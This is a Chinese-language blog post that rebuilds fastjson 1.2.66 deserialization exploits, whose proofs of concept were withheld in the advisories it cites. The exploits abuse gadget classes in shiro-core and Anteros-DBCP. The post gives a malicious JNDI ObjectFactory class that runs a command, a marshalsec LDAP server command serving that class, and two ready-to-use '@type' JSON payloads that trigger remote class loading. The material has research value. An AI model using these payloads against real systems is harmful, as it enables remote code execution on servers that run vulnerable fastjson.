fastjson反序列化漏洞具体原理就不多说了,可以简单理解为可以设置type调用任意类,并为其设置属性值。
看到360cert文章提到jackson-databind多了个新的黑名单,在shiro-core包中,但是poc打码了,因此我们来简单复现下。
我们利用maven下载fastjson最新版1.2.66和shiro-core
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.66</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.5.1</version>
</dependency>
然后我们在shiro-core包中寻找可能触发jndi注入的地方,一般咱们寻找lookup
找到JndiObjectFactory
尝试构造poc。
借助JNDI-Exploit-Bypass-Demo先写个简单的恶意类:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.*;
import java.util.Hashtable;
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}
marshalsec开启监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#Exploit
把生成的Exploit.class放在8090端口下的web目录。
poc:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/Exploit"}
同理,我在深信服文章中提到Anteros-DBCP中也存在利用链,也没提供poc。
我们开始寻找:
找到AnterosDBCPConfig:
我们看谁调用getObjectOrPerformJndiLookup:
找到个setMetricRegistry
poc:
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://127.0.0.1:1389/Exploit"}